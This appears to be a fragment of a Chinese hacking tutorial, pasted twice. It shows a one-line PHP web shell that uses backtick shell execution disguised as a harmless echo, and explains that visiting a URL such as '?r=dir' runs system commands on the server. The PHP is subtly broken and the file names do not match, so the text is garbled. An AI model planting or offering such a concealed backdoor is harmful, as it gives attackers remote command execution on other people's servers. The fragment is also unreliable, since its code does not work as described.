<?php
//t.php
$test = $_GET[`r`];
echo $test;
?>
,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,
而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键 感叹号!旁边的`
通过 echo `系统命令`; 可以达到 system(); 一样的效果
http://website/1.php?r=dir
<?php
//t.php
$test = $_GET[`r`];
echo $test;
?>
,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,
而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键 感叹号!旁边的`
通过 echo `系统命令`; 可以达到 system(); 一样的效果
http://website/1.php?r=dir